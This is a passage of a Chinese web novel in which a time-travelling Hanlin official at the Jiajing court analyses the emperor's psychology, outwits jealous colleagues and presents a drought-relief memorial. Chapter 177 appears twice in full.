苏惟瑾随着人流默默退出,
初夏午后的阳光晃得人眼晕,
汉白玉台阶反射着灼热的光,
与殿内那压抑的冰冷形成鲜明对比。
几位平日里眼高于顶的翰林院前辈,
此刻却有意无意地放慢脚步,
凑到了苏惟瑾身边。
“苏修撰,今日陛下神色不豫,
我等皆惶惶不安,唯恐圣心震怒,殃及池鱼啊。”
一位姓李的侍讲擦拭着额角的细汗,
语气带着试探。
他年近四旬,在翰林院熬了十几年,
才混到如今位置,最是谨小慎微。
另一位于编修也接口道:
“是啊,苏修撰深得陛下青睐,
今日掌院学士独带你入内记录,
可见简在帝心。
不知……不知陛下可有流露些许意向?
我等也好早作应对。”
他脸上堆着笑,
话语里却透着一丝不易察觉的酸意。
苏惟瑾心中雪亮,
这些老油条哪里是真心求教,
不过是见自己似乎得了点“圣眷”,
想来套话,兼或试探深浅。
他面上依旧维持着新科进士应有的谦逊温良,微微躬身道:
“李前辈、于前辈言重了。
晚辈入内,不过是掌院提携,
负责记录会议要点,恪尽职守而已。
陛下天威难测,
心思岂是我等微末小臣可以妄加揣度的?
至于意向,陛下只令诸公回去详议条陈,
想来是要集思广益,谋定而后动。”
他这话说得滴水不漏,
既点明自己只是记录员,
并未参与核心决策,
又抬出“天威难测”堵住了对方的进一步探询,
最后还将皮球踢回了“诸公”自己身上。
李侍讲和于编修对视一眼,
见套不出什么有价值的信息,
又见苏惟瑾态度恭谨却疏离,
便也失了兴致,
打着哈哈说了几句“苏修撰年少有为,
将来必是国之栋梁”的场面话,各自散去。
苏惟瑾独自走在回翰林院的青石板路上,
超频的大脑却早已将方才那点人际应酬抛诸脑后,
开始全速运转,复盘的核心目标只有一个
——龙椅上那位年仅十七岁,
却已显露出复杂难测心性的少年天子,
嘉靖皇帝朱厚熜。
“大礼议”的底色:
权力与控制欲的极致彰显。
大脑如同精密的数据库,
调取着关于“大礼议”的种种细节。
朱厚熜以藩王世子身份入继大统,
甫一登基,便不顾杨廷和等老臣以“继嗣”为基础的礼法压力,
坚持要追尊生父兴献王为皇考。
这场持续数年的**风暴,
表面是礼仪之争,
内核却是赤裸裸的权力博弈。
一个少年,面对满朝文官集团的强大压力,
展现出的固执、强硬乃至权术(利用张璁、桂萼等“议礼新贵”),
其根源是什么?
超频分析结论:
极度缺乏安全感,
以及对“名分”和“控制权”的病态执着。
他本是藩王之子,意外获得至尊之位,
内心深处或许始终存有“得位不正”的隐忧(尽管程序合法)。
唯有通过彻底掌握“定义权”
(连自己父亲的名分都要自己说了算),
才能确认权力的真实归属,
抚平那份与生俱来的不安。
这场胜利,固然巩固了皇权,
但也塑造了他“顺我者昌,逆我者亡”的统治风格,
并埋下了对文官集团(尤其是前期反对他的杨廷和一派)深刻的不信任感。
改革尝试与阻力:
理想主义碰壁现实的挫败感。
登基之初,嘉靖帝并非没有励精图治之志。
他下令裁汰锦衣卫、内监局冗员十余万,
试图减轻财政负担;
又清查皇庄、勋贵庄田,
想缓解土地兼并矛盾。
但这些措施无不触动了庞大的既得利益集团,
执行起来阻力重重,最终大多虎头蛇尾。
超频推演:这种“想做事却做不成”的挫败感,
对于一个心高气傲、
渴望证明自己的少年君主而言,
是极大的打击。
它会加剧其对官僚系统的失望和不耐烦,
使其逐渐从“事功”转向对“权术”的依赖,
更倾向于用个人意志和非常规手段(如依赖宦官、密折、扶植私人)来推行意图。
未来的阴影:
“壬寅宫变”与性格巨变的伏笔。
大脑甚至推演到了历史上尚未发生的“壬寅宫变”
(嘉靖二十一年,宫女杨金英等试图勒死嘉靖帝)。
无论其背后是否有更深层的**阴谋,
这一事件本身对嘉靖心理的冲击将是毁灭性的。
连身边最亲近的宫女都能对自己下**,
将会把他那份“缺乏安全感”放大到极致,
从而彻底转向幽居深宫、迷信方术、
用严苛权术驾驭臣下的统治模式。
多疑、刻薄、甚至有些残忍的一面,
会逐渐成为主导。
笃信道教:精神寄托与现实逃避的双重需求。
对长生不老的追求,
固然是历代许多帝王的通病,
但对嘉靖而言,更有其特殊性。
超频大脑分析:
在现实**中感到无力、挫败,
加之对自身安全(无论是**安全还是人身安全)的深切忧虑,
使得他迫切需要一种超越现实的精神寄托。
道教的长生术、斋醮仪式,
不仅能提供虚幻的心理安慰,
其本身也是一种彰显皇权神秘性、
强化个**威的手段(如青词的**化)。
综上,一个立体的嘉靖帝形象在苏惟瑾脑中清晰起来:
这是一个极其聪明、学习能力快、
权力欲极强的皇帝,
同时又是一个内心敏感、
缺乏安全感、容易走向极端的**。
他渴望建功立业,成为中兴之主,
但耐心有限,厌恶官僚系统的拖沓和阳奉阴违。
他欣赏有真才实学、能为他分忧的干臣,
但容忍度极低,一旦觉得失控或无用,弃之如敝履。
他的“赏识”如
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同烈火,可助人直上青云,也可瞬间将人焚为灰烬。
“伴君如伴虎……”
苏惟瑾在心中默念这句古训,
感受愈发深刻。
目前的些许“青睐”,
建立在“有才”、“有用”的脆弱基础上,
任何一次决策失误、站队错误,
甚至仅仅是某句话触及其敏感神经,
都可能万劫不复。
“苏修撰,请留步。”
一个略显尖细的声音打断了苏惟瑾的思绪。
他抬头,见是一个面白无须、
身着葵花团领衫的小太监,
正站在翰林院门口,
脸上带着程式化的笑容。
“公公有何吩咐?”
苏惟瑾停下脚步,心中微动。
小太监上前一步,低声道:
“奴婢是乾清宫当差的。
陛下口谕,苏修撰今日辛苦,
特赏冰湃瓜果一份,已送至您值房。”
苏惟瑾心中一震,面上却不动声色,
立刻躬身谢恩:
“臣苏惟瑾,叩谢陛下天恩!”
“苏修撰快请起。”
小太监虚扶一下,意味深长地补充道。
“陛下还说了,苏修撰的‘读书札记’,
很有意思,望持之以恒。”
说完,小太监便转身离去,
留下苏惟瑾站在原地,
背后却隐隐渗出些许冷汗。
赏赐是恩宠,是信号。
但那句关于“读书札记”的点评,才是关键!
他那份关于宁波事件的奏疏(对外称是读书札记),
果然被陛下留中,并且仔细看了!
陛下不仅看了,还特意让人传来这句话……
这是鼓励,更是提醒,甚至隐含着一丝警告
——你的所思所想,朕都知道。
超频大脑瞬间评估:风险与机遇并存。
机遇在于,这条直达天听的渠道似乎比想象中更畅通;
风险在于,自己彻底暴露在皇帝的注视之下,
一言一行都需更加谨慎。
他深吸一口气,压下心头的波澜,
迈步走进翰林院。
值房的书案上,果然放着一个精致的食盒,
里面是几块用冰块镇着的鲜红西瓜,
散发着诱人的凉气。
同僚们的目光或明或暗地扫过来,
羡慕、嫉妒、探究……
种种情绪,不一而足。
苏惟瑾拿起一块冰凉的西瓜,
甘甜的汁水在口中弥漫开,
驱散了夏日的燥热,
却让他超频的大脑更加清醒冷静。
未来的路,如履薄冰,亦步亦趋。
但既已踏上这青云路,
便唯有利用这超频之脑,
洞察先机,步步为营,
方能在嘉靖朝这盘复杂的棋局中,
走出一条属于自己的通天大道。
当前要务,是继续低调积累,巩固圣眷,
同时……要开始留意那些即将登场的“大反派”们了,
比如,那位靠“大礼议”起家,
正炙手可热的礼部侍郎
——张璁。
或许,不久之后,就会有机会碰一碰了。
他嘴角勾起一丝微不可察的弧度,
那是对未来挑战的期待,
也是对自身能力的绝对自信。
打脸,要及时,更要打在关键处!
第177章 欲取先予之,帝心难测乎
嘉靖帝赏赐的冰湃西瓜,
在翰林院这潭看似平静实则暗流涌动的水面上,
投下了一颗不小的石子。
涟漪扩散开去,
映照出各色人等的微妙心思。
苏惟瑾安然受之,
在众多或羡或妒的目光中,
细细品完了那份甘甜与冰凉。
这不仅是口腹之享,
更是一份沉甸甸的**信号,
他心知肚明。
值房的窗户支开半扇,
午后灼热的风裹挟着蝉鸣涌进来,
吹得书页微微翻动。
苏惟瑾没有继续誊录那些枯燥的实录,
而是铺开一张素笺,提笔蘸墨,
却并未立刻落下。
超频的大脑如同最精密的仪器,
正在高速运转,复盘刚建立起来的“帝心”模型,
并规划下一步的行动路径。
核心矛盾:能干事的刀,与用后即弃的命运。
嘉靖需要刀,一把锋利、顺手、能替他斩开荆棘、达成所愿的刀。
从“大礼议”中提拔张璁、桂萼,
到如今对自己这点“小才”的留意,
都证明了这一点。
但历史经验(无论是穿越者的知识还是本朝典故)都血淋淋地揭示:
过于锋利的刀,容易卷刃,
也容易伤主,最终多半逃不过鸟尽弓藏的结局。
张璁等人日后起起落落,便是明证。
策略调整:从“利器”到“臂膀”。
绝不能只满足于做一把单纯的刀。
必须让嘉靖帝觉得,
苏惟瑾不仅仅是能办事的“工具”,
更是能理解他深层意图、分担他内心忧烦、
甚至能未雨绸缪替他规避风险的“自己人”。
要实现这种身份的跃迁,策略需变:
欲取先予,投其所好,更要显其不可或缺。
具体谋划,分三步走:
第一步,继续深化“干才”形象,但需“巧干”。
宁波倭乱的奏疏是个良好开端,
展现了预见性和解决问题的务实能力。
接下来,不能坐等事情发生。
超频大脑开始扫描记忆库中嘉靖朝前期可能出现的其他问题:
漕运弊端?北方边患?财政赤字?
需选择一两个切入点,进行深度“备课”,
形成初步方案梗概,但不急于抛出。
要像顶级谋士一样,
怀里总揣着几份锦囊妙计,
只在最关键时刻、皇帝最挠头时,
看似不经意地献上。
此谓“予”之学问,火候至关重要。
第二步,将“事功”与“帝心”深度绑定。
嘉靖帝的“心”,
核心是“权力安全感”和“中兴之主”的虚荣。
任何提议,不能仅仅就事论事,
必须巧妙地与巩固皇权、彰显圣明挂钩。
例如,若提议整顿漕运,
不能只说为了运粮顺畅,
更要强调此举可确保京畿稳定,
强化陛下对南北财赋的控制力,
此乃“垂拱而治”的基石。
若讨论边患,则要关联到“四夷宾服,方显天子威德”。
要让皇帝觉得,苏惟瑾做的每一件事,
根本目的都是为了维护他朱厚熜的绝对权威和历史地位。
此谓“取”之关键,
让功劳变成“圣心独运”的体现,
自己则是执行圣意的得力助手。
第三步,悄然铺设“免死金牌”的伏线。
避免兔死狗烹,
长远看需要建立自己的势力和声望网络
(如结交潜在盟友、在士林中积累清誉),
但短期内,最直接有效的方式,
是让皇帝意识到“弃用苏惟瑾”的成本很高。
比如,在某些领域(如未来可能涉及的财务改革、新奇技术应用)
营造出“非苏莫属”的专家形象;
或者,通过一些看似偶然的事件,
展现自己与某些潜在重要人物(如藩王、勋贵、甚至后宫?需极其谨慎)
有某种无害却能让皇帝稍存顾忌的联系。
这一步风险最高,需如履薄冰,潜移默化。
思路渐明,苏惟瑾提笔在素笺上写下四个字:
“实、势、时、事”。
实,是扎实的才干和功绩;
势,是营造有利的态势和人际关系;
时,是把握出手的时机;
事,是选择恰当的事件作为突破口。
刚放下笔,值房外传来一阵略显嘈杂的脚步声,
夹杂着几声刻意拔高的谈笑。
门帘一掀,进来三四个人,
为首的正是那位此前在左顺门外试图套话未果的于编修。
他今日面色红润,似乎心情颇佳,
身后跟着的也是几个平日喜欢凑趣的翰林院中下层官员。
“呦,苏修撰还在用功哪?”
于编修嗓门洪亮,
像是生怕别人听不见。
“真是我辈楷模,刚蒙天恩赏赐,
便又埋首典籍,孜孜不倦,
佩服,佩服啊!”
这话听起来是夸奖,
但那语气和神态,
总透着一股酸溜溜的意味。
旁边一人立刻接口:
“于兄说的是,苏修撰年少得意,
简在帝心,仍如此勤勉,实令我等汗颜。”
又一人笑道:
“苏修撰,陛下独赐瓜果,
这可是难得的荣宠。
日后飞黄腾达,可莫要忘了提携我等旧日同僚啊!”
这话半是玩笑半是试探,眼神里藏着窥探。
苏惟瑾心中冷笑,
这伙人,显然是见皇帝赏赐,
心里不平衡,又不敢明着质疑,
便组团来阴阳怪气,
想看他志得意满或者慌乱失措的样子。
典型的文人相轻,外加嫉妒作祟。
若是寻常年轻官员,骤得殊荣,
被这般“捧杀”,难免会露出些许矜色或不安。
但苏惟瑾的超频大脑瞬间分析出对方意图,
并制定了应对策略:
示弱守拙,反将一军。
他连忙起身,脸上露出恰到好处的惶恐和谦卑,拱手道:
“于前辈、诸位同僚快莫要取笑在下了。
陛下仁厚,不过是见今日天气炎热,
我等在值房辛苦,些许瓜果,
乃是体恤臣下之意,绝非独厚苏某一人。
晚辈资历浅薄,学识疏漏,
正需时时向诸位前辈请教,
方能不至贻误公事,
岂敢有半分懈怠或自满之心?”
他语气诚恳,姿态放得极低,
直接把皇帝的赏赐定义为普遍性的“员工福利”,
轻轻化解了“独宠”的焦点。
同时强调自己需要学习,
把对方架到“前辈”的高位上。
于编修见他如此反应,
像一拳打在了棉花上,
有些不甘心,又往前凑了凑,
目光扫过苏惟瑾案头那张只写了四个字的素笺,嗤笑道:
“苏修撰这是在参悟什么玄机?
‘实、势、时、事’……
莫非是得了什
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么高人指点,
要琢磨升官发财的捷径不成?”
这话就带着明显的挑衅和贬损了,
暗示苏惟瑾不务正业,专营钻营。
周围几人也发出低低的嗤笑声。
苏惟瑾心中一动,打脸的机会来了。
他脸上惶恐之色更浓,连忙摆手:
“于前辈误会了!
晚辈岂敢有此妄想?
这四字,乃是晚辈今日整理书案,
偶见前人笔记中提及,心下困惑,
随手记下,正要向于前辈这等学问渊博之士请教呢。”
他拿起那张纸,双手递向于编修,
神情无比“真挚”:
“于前辈可知,此四字出自何典?
作何深解?
晚辈愚钝,思之半日不得其法,
还望前辈不吝赐教。”
于编修一愣,他本是想讥讽苏惟瑾,
哪想到对方顺杆爬,反过来考校起他来了?
他定睛看去,那四个字普普通通,
组合在一起虽有点意思,
但一时半会儿哪能想到什么确切的典故出处和深奥解释?
他平日学问也就稀松平常,
全靠资历混日子,这下被将了一军,
顿时有点支吾:
“这个……呃……‘实势时事’……似乎……
似是《战国策》中……
抑或是《韩非子》?
关乎权变之道……”
他说的含糊其辞,明显底气不足。
旁边几人见状,也都不敢轻易接话。
苏惟瑾心中暗笑,
面上却愈发“恭敬”:
“前辈果然博闻强识!
竟能联想到《韩非子》。
晚辈受教了。
只是不知其中精义,
具体该如何把握?
譬如为官处世,
当如何权衡这四者?”
于编修额角见汗,
他哪里说得清这个?
支支吾吾,顾左右而言他:
“这个嘛……为官首重实心任事,
至于势和时,乃天数机缘,
事在人为……嗯,大抵如此。”
这话等于没说。
苏惟瑾见火候差不多了,
便不再逼迫,适时地给对方一个台阶下,
恍然大悟状:
“原来如此!
多谢于前辈点拨,令晚辈茅塞顿开!
前辈一言,胜读十年书啊!”
他夸张地躬身行礼。
于编修闹了个大红脸,
讪讪地说了句“苏修撰客气了,
互相切磋,互相切磋”,
便赶紧带着那几人灰溜溜地走了,
再没了来时的嚣张气焰。
值房里恢复了安静。
苏惟瑾坐回原位,
看着那张写着“实、势、时、事”的素笺,嘴角微扬。
这次小小的交锋,
不仅是打脸了酸腐同僚,
更让他验证了自己的策略:
低调、示弱、引而不发,
关键时刻利用知识落差进行反击,
往往比正面冲突更有效。
帝心难测,官场如棋。
既然已身在局中,便需步步为营。
他收起素笺,目光投向窗外被烈日炙烤的紫禁城。
下一步,该找个合适的“事”,
来实践一下这“欲取先予”之道了。
或许,那个因宁波倭乱而再次被推到风口浪尖的议题
——海防与漕运,就是个不错的切入点。
毕竟,他的超频大脑里,
可装着不少超越时代的“系统性工程”理念呢。
就看下次机会,何时降临了。
第177章 欲取先予之,帝心难测乎
嘉靖帝赏赐的冰湃西瓜,
在翰林院这潭看似平静实则暗流涌动的水面上,
投下了一颗不小的石子。
涟漪扩散开去,
映照出各色人等的微妙心思。
苏惟瑾安然受之,
在众多或羡或妒的目光中,
细细品完了那份甘甜与冰凉。
这不仅是口腹之享,
更是一份沉甸甸的**信号,
他心知肚明。
值房的窗户支开半扇,
午后灼热的风裹挟着蝉鸣涌进来,
吹得书页微微翻动。
苏惟瑾没有继续誊录那些枯燥的实录,
而是铺开一张素笺,提笔蘸墨,
却并未立刻落下。
超频的大脑如同最精密的仪器,
正在高速运转,复盘刚建立起来的“帝心”模型,
并规划下一步的行动路径。
核心矛盾:能干事的刀,与用后即弃的命运。
嘉靖需要刀,一把锋利、顺手、能替他斩开荆棘、达成所愿的刀。
从“大礼议”中提拔张璁、桂萼,
到如今对自己这点“小才”的留意,
都证明了这一点。
但历史经验(无论是穿越者的知识还是本朝典故)都血淋淋地揭示:
过于锋利的刀,容易卷刃,
也容易伤主,最终多半逃不过鸟尽弓藏的结局。
张璁等人日后起起落落,便是明证。
策略调整:从“利器”到“臂膀”。
绝不能只满足于做一把单纯的刀。
必须让嘉靖帝觉得,
苏惟瑾不仅仅是能办事的“工具”,
更是能理解他深层意图、分担他内心忧烦、
甚至能未雨绸缪替他规避风险的“自己人”。
要实现这种身份的跃迁,策略需变:
欲取先予,投其所好,更要显其不可或缺。
具体谋划,分三步走:
第一步,继续深化“干才”形象,但需“巧干”。
宁波倭乱的奏疏是个良好开端,
展现了预见性和解决问题的务实能力。
接下来,不能坐等事情发生。
超频大脑开始扫描记忆库中嘉靖朝前期可能出现的其他问题:
漕运弊端?北方边患?财政赤字?
需选择一两个切入点,进行深度“备课”,
形成初步方案梗概,但不急于抛出。
要像顶级谋士一样,
怀里总揣着几份锦囊妙计,
只在最关键时刻、皇帝最挠头时,
看似不经意地献上。
此谓“予”之学问,火候至关重要。
第二步,将“事功”与“帝心”深度绑定。
嘉靖帝的“心”,
核心是“权力安全感”和“中兴之主”的虚荣。
任何提议,不能仅仅就事论事,
必须巧妙地与巩固皇权、彰显圣明挂钩。
例如,若提议整顿漕运,
不能只说为了运粮顺畅,
更要强调此举可确保京畿稳定,
强化陛下对南北财赋的控制力,
此乃“垂拱而治”的基石。
若讨论边患,则要关联到“四夷宾服,方显天子威德”。
要让皇帝觉得,苏惟瑾做的每一件事,
根本目的都是为了维护他朱厚熜的绝对权威和历史地位。
此谓“取”之关键,
让功劳变成“圣心独运”的体现,
自己则是执行圣意的得力助手。
第三步,悄然铺设“免死金牌”的伏线。
避免兔死狗烹,
长远看需要建立自己的势力和声望网络
(如结交潜在盟友、在士林中积累清誉),
但短期内,最直接有效的方式,
是让皇帝意识到“弃用苏惟瑾”的成本很高。
比如,在某些领域(如未来可能涉及的财务改革、新奇技术应用)
营造出“非苏莫属”的专家形象;
或者,通过一些看似偶然的事件,
展现自己与某些潜在重要人物(如藩王、勋贵、甚至后宫?需极其谨慎)
有某种无害却能让皇帝稍存顾忌的联系。
这一步风险最高,需如履薄冰,潜移默化。
思路渐明,苏惟瑾提笔在素笺上写下四个字:
“实、势、时、事”。
实,是扎实的才干和功绩;
势,是营造有利的态势和人际关系;
时,是把握出手的时机;
事,是选择恰当的事件作为突破口。
刚放下笔,值房外传来一阵略显嘈杂的脚步声,
夹杂着几声刻意拔高的谈笑。
门帘一掀,进来三四个人,
为首的正是那位此前在左顺门外试图套话未果的于编修。
他今日面色红润,似乎心情颇佳,
身后跟着的也是几个平日喜欢凑趣的翰林院中下层官员。
“呦,苏修撰还在用功哪?”
于编修嗓门洪亮,
像是生怕别人听不见。
“真是我辈楷模,刚蒙天恩赏赐,
便又埋首典籍,孜孜不倦,
佩服,佩服啊!”
这话听起来是夸奖,
但那语气和神态,
总透着一股酸溜溜的意味。
旁边一人立刻接口:
“于兄说的是,苏修撰年少得意,
简在帝心,仍如此勤勉,实令我等汗颜。”
又一人笑道:
“苏修撰,陛下独赐瓜果,
这可是难得的荣宠。
日后飞黄腾达,可莫要忘了提携我等旧日同僚啊!”
这话半是玩笑半是试探,眼神里藏着窥探。
苏惟瑾心中冷笑,
这伙人,显然是见皇帝赏赐,
心里不平衡,又不敢明着质疑,
便组团来阴阳怪气,
想看他志得意满或者慌乱失措的样子。
典型的文人相轻,外加嫉妒作祟。
若是寻常年轻官员,骤得殊荣,
被这般“捧杀”,难免会露出些许矜色或不安。
但苏惟瑾的超频大脑瞬间分析出对方意图,
并制定了应对策略:
示弱守拙,反将一军。
他连忙起身,脸上露出恰到好处的惶恐和谦卑,拱手道:
“于前辈、诸位同僚快莫要取笑在下了。
陛下仁厚,不过是见今日天气炎热,
我等在值房辛苦,些许瓜果,
乃是体恤臣下之意,绝非独厚苏某一人。
晚辈资历浅薄,学识疏漏,
正需时时向诸位前辈请教,
方能不至贻误公事,
岂敢有半分懈怠或自满之心?”
他语气诚恳,姿态放得极低,
直接把皇帝的赏赐定义为普遍性的“员工福利”,
轻轻化解了“独宠”的焦点。
同时强调自己需要学习,
把对方架到“前辈”的高位上。
于编修见他如此反应,
像一拳打在了棉花上,
有些不甘心,又往前凑了凑,
目光扫过苏惟瑾案头那张只写了四个字的素笺,嗤笑道:
“苏修撰这是在参悟什么玄机?
‘实、势、时、事’……
莫非是得了什
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么高人指点,
要琢磨升官发财的捷径不成?”
这话就带着明显的挑衅和贬损了,
暗示苏惟瑾不务正业,专营钻营。
周围几人也发出低低的嗤笑声。
苏惟瑾心中一动,打脸的机会来了。
他脸上惶恐之色更浓,连忙摆手:
“于前辈误会了!
晚辈岂敢有此妄想?
这四字,乃是晚辈今日整理书案,
偶见前人笔记中提及,心下困惑,
随手记下,正要向于前辈这等学问渊博之士请教呢。”
他拿起那张纸,双手递向于编修,
神情无比“真挚”:
“于前辈可知,此四字出自何典?
作何深解?
晚辈愚钝,思之半日不得其法,
还望前辈不吝赐教。”
于编修一愣,他本是想讥讽苏惟瑾,
哪想到对方顺杆爬,反过来考校起他来了?
他定睛看去,那四个字普普通通,
组合在一起虽有点意思,
但一时半会儿哪能想到什么确切的典故出处和深奥解释?
他平日学问也就稀松平常,
全靠资历混日子,这下被将了一军,
顿时有点支吾:
“这个……呃……‘实势时事’……似乎……
似是《战国策》中……
抑或是《韩非子》?
关乎权变之道……”
他说的含糊其辞,明显底气不足。
旁边几人见状,也都不敢轻易接话。
苏惟瑾心中暗笑,
面上却愈发“恭敬”:
“前辈果然博闻强识!
竟能联想到《韩非子》。
晚辈受教了。
只是不知其中精义,
具体该如何把握?
譬如为官处世,
当如何权衡这四者?”
于编修额角见汗,
他哪里说得清这个?
支支吾吾,顾左右而言他:
“这个嘛……为官首重实心任事,
至于势和时,乃天数机缘,
事在人为……嗯,大抵如此。”
这话等于没说。
苏惟瑾见火候差不多了,
便不再逼迫,适时地给对方一个台阶下,
恍然大悟状:
“原来如此!
多谢于前辈点拨,令晚辈茅塞顿开!
前辈一言,胜读十年书啊!”
他夸张地躬身行礼。
于编修闹了个大红脸,
讪讪地说了句“苏修撰客气了,
互相切磋,互相切磋”,
便赶紧带着那几人灰溜溜地走了,
再没了来时的嚣张气焰。
值房里恢复了安静。
苏惟瑾坐回原位,
看着那张写着“实、势、时、事”的素笺,嘴角微扬。
这次小小的交锋,
不仅是打脸了酸腐同僚,
更让他验证了自己的策略:
低调、示弱、引而不发,
关键时刻利用知识落差进行反击,
往往比正面冲突更有效。
帝心难测,官场如棋。
既然已身在局中,便需步步为营。
他收起素笺,目光投向窗外被烈日炙烤的紫禁城。
下一步,该找个合适的“事”,
来实践一下这“欲取先予”之道了。
或许,那个因宁波倭乱而再次被推到风口浪尖的议题
——海防与漕运,就是个不错的切入点。
毕竟,他的超频大脑里,
可装着不少超越时代的“系统性工程”理念呢。
就看下次机会,何时降临了。
第179章 预案显真功,条陈惊四座
文华殿东暖阁,
虽比不得奉天殿宏阔,
却因是皇帝日常处理政务、召见近臣之所,
更添几分压抑的威严肃穆。
嘉靖帝朱厚熜端坐在紫檀木御案后,
年轻的脸庞上笼罩着一层化不开的阴郁。
底下,内阁首辅**纪、次辅费宏,
以及户部尚书孙交、
工部尚书赵璜等寥寥数位重臣分列两旁,
个个眉头紧锁,气氛凝重得能拧出水来。
苏惟瑾作为“记录”,
屏息静气地侍立在角落的书案旁,
努力降低自己的存在感。
关于北直隶、山东旱情的讨论,
已经持续了半个时辰,
进展却近乎于无。
孙交和赵璜这两位部堂大人,
不出意外地又吵了起来,
话题依旧围绕着“钱从哪里来”
和“活该怎么干”这两个死结打转。
“陛下!巧妇难为无米之炊!
国库空虚乃是实情,
纵然将老臣这把骨头榨出油来,
也变不出百万石粮食!”
孙交须发皆白,
声音带着老迈的沙哑,
却异常固执,死死捂着他的钱袋子。
赵璜是个黑脸膛的北方汉子,
性子急,闻言立刻梗着脖子反驳:
“孙部堂!没钱就不办事了?
难道眼睁睁看着百姓易子而食?
水利乃农事之本,此时若不大修,
明年、后年照样大旱!
届时饿殍遍野,流民百万,
冲击京畿,需要的银子更多!”
“你!你这是危言耸听!”
孙交气得手指发抖。
“大修水利?
谈何容易!工程浩大,
靡费甚巨,且远水难解近渴!
眼下当务之急是赈济!
可赈济的钱粮又从何而来?”
“好了!”
嘉靖帝终于忍不住,猛地一拍御案,声音冰冷。
“朕召尔等来,是听你们吵架的吗?
**先生,费先生,二位阁老有何高见?”
首辅**纪是位老成持重的官僚,
捋着胡须,沉吟道:
“陛下,孙部堂所言亦是实情。
国库确不宽裕。
或可令灾区就地筹措,
富户捐输,官府加以劝导……”
次辅费宏补充道:
“或可酌量减免今明两年税赋,与民休息……”
这些话,听起来四平八稳,
实则都是拖延推诿的老生常谈,
根本解决不了迫在眉睫的灾情。
嘉靖帝眼中的失望之色越来越浓,
他需要的不是这种和稀泥的方案,
而是能真正解决问题的良策!
他甚至不由自主地,
将目光扫向了角落那个安静记录的身影,
心中闪过一丝若有若无的期待
——此人上次关于宁波倭乱的条陈,
倒是颇有见地……
就在这时,工部尚书赵璜似乎为了证明自己的观点,
又抛出一个棘手的问题:
“陛下,即便有钱粮,
如何发放亦是难题!
以往赈灾,层层盘剥,
到了灾民手中十不存一!
且容易滋生惰民,坐等救济,不愿复业!”
户部尚书孙交立刻抓住话柄:
“赵部堂既知弊端,可有良法杜绝?
若无良法,空谈赈济,不过是浪费国帑!”
眼看争论又要陷入死循环,
暖阁内的空气仿佛凝固了,
只剩下几位老臣粗重的喘息声。
嘉靖帝的脸色越来越难看,
手指无意识地敲击着御案,
发出沉闷的嗒嗒声,
每一声都敲在众臣的心上。
就在这片令人窒息的沉默和僵持中,
角落里的苏惟瑾,知道时机到了!
他深吸一口气,放下手中的笔,
整理了一下身上的青袍,
稳步从阴影中走出,来到御案前数步远的地方,
躬身行礼,声音清晰而沉稳:
“陛下,臣翰林院修撰苏惟瑾,
斗胆进言,于旱灾应对,
有刍荛之见,或可补诸位老大人方案之万一。”
刹那间,所有人的目光都聚焦到这个年轻得过分、
官阶低得可怜的小修撰身上!
首辅**纪眼中闪过一丝讶异和不解;
次辅费宏微微皱眉;
户部尚书孙交则是毫不掩饰的轻蔑与不悦
——哪里轮到你一个芝麻小官在此大放厥词?
工部尚书赵璜也愣了,
他虽与孙交争执,
但也觉得苏惟瑾此举有些僭越。
嘉靖帝却是精神一振,
敲击御案的手指停了下来,
目光锐利地看向苏惟瑾:
“哦?苏修撰有何见解?
但说无妨。”
他心中那点期待被勾了起来。
“谢陛下。”
苏惟瑾不卑不亢,
从袖中取出一份早已誊写工整的奏疏,双手呈上。
“臣之所思,皆在此条陈之中,请陛下御览。”
太监将条陈接过,恭敬地放在御案上。
嘉靖帝展开奏疏,
目光扫过那工整清晰的字迹,
开始只是随意浏览,
但很快,他的坐姿不由自主地挺直了,
眼神也越来越亮,甚至带着几分难以置信的惊异!
这根本不是寻常官员那种空泛的“请求赈济”、“减免赋税”的套话,
而是一份结构严谨、思路清晰、环环相扣的系统性行动方案!
条陈开篇并未急于要钱要粮,
而是先分析灾情特点与发展趋势,
指出当前应对的三大弊端:
条块分割(各部门各自为战)、
重救济轻防灾、缺乏有效监督。
一针见血!
接着,提出了五大核心举措:
一曰“设衙协调,事权统一”。
建议立即成立一个临时的“抗旱抚民总理事宜衙门”(名称符合明代习惯),
由一位重臣(如户部或工部侍郎)总领,
协调户部(钱粮)、工部(水利)、
兵部(维持秩序)、太医院(防疫)等各部门资源,
打破部门壁垒,避免推诿扯皮。
这正是针对当前乱局的良方!
二曰“以工代赈,兴利除弊”。
核心观点:不白给钱米!
组织灾民疏浚河道、修复水利、开挖水井,
按劳动量发放报酬(粮食或银钱)。
此举一举三得:缓解饥荒、恢复生产、增强长期抗旱能力!
还避免了养懒汉和**浪费。
条陈中甚至粗略估算了不同工程的用工量和所需粮饷,
数据清晰,令人信服。
三曰“预防疫疠,保民安康”。
提出在灾民**区设立“洁净营”,
强调饮用水煮沸、垃圾深埋、
病患隔离等基本卫生原则。
用“气瘴”、“疫毒”等古人能理解的概念解释瘟疫传播,
建议由太医院指导地方官府执行。
这考虑到了大灾之后必有大疫的关键问题,
远超当下只盯着粮食的视野。
四曰“劝分纳粟,官民协力”。
建议出台政策,鼓励地方士绅、富商大贾捐钱捐粮。
对于踊跃捐输者,
可由朝廷给予“旌表”(立牌坊表彰)、
或授予“义民”称号、
甚至其子弟在科举入学方面给予适当优惠。
这是动员社会力量参与救灾,减轻朝廷压力。
五曰“驿传迅捷,信息通达”。
建议利用现有的驿站系统,
建立灾情信息快速通道,
规定各地灾情奏报的格式和时限,
确保中
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央能及时掌握动态,调整策略。
这关乎决策的时效性和准确性。
每一条建议后面,
都附有简单的操作思路和预期效果,
逻辑严密,可行性极高。
整份条陈,没有一句空话,全是干货!
嘉靖帝越看越激动,手指微微颤抖。
他仿佛看到了一个全新的、高效的救灾图景,
与底下这群只会争吵的老臣形成了鲜明对比!
这份条陈所展现出的前瞻性、
系统性和可操作性,
完全超出了他的认知范围!
“好!好!好一个‘以工代赈’!
好一个‘设衙协调’!”
嘉靖帝忍不住连说了三个好字,
声音中带着压抑不住的兴奋。
“苏爱卿,此策甚妙!
思虑周全,远超侪辈!”
陛下竟称这小小修撰为“爱卿”?
还如此盛赞?
底下几位重臣顿时脸色各异。
首辅**纪和次辅费宏对视一眼,
都看到了对方眼中的震惊和一丝不易察觉的警惕。
此子之才,恐非池中之物!
户部尚书孙交老脸涨得通红,
他刚才还坚持没钱没法办事,
可苏惟瑾的“以工代赈”和“劝分纳粟”
分明指出了在不完全依赖国库的情况下开展救灾的可能!
这简直是在打他的脸!
他张了张嘴,想挑点毛病,
却发现那条陈逻辑严谨,
几乎无懈可击,只能悻悻地闭上嘴。
工部尚书赵璜则是又惊又喜,
